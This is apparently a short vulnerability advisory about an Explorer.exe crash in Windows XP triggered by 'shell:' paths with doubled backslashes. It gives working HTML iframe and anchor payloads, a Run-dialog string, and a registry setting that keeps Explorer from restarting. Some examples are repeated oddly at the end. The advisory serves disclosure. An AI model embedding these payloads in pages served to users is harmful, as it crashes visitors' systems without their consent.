1) Introduction
===============

WindowsXp is currently the most common operating system in the world.
This product must be as safe as it is common.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Lately a new function was discovered : "shell:". This function allows
running some
new functions remotley. There is a bug in Explorer.exe when accessing a
filename
with double backslash.

For Example accessing any of the html tags below, will cause explorer to
crash.
<iframe src=shell:windows\\system32\\calc.exe></iframe>
Or
<a href=shell:windows\\system32\\calc.exe></a>
Or
Paste at [Start Menu]-->[Run] --> shell:windows\\system32\\calc.exe

Explorer.exe crashes when using "\\".
"\" doesn't crash it and even %5C%5C doesn't crash it.

There is a registery key which is turned on by default. This key
automatically restarts
"Explorer.exe". If this key is set to "0", Explorer.exe will not restart.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoRestartShell"=dword:00000001

Or
<a href=shell:windows\\system32\\calc.exe></a>
Or
Paste at [Start Menu]-->[Run] --> shell:windows\\system32\\calc.exe
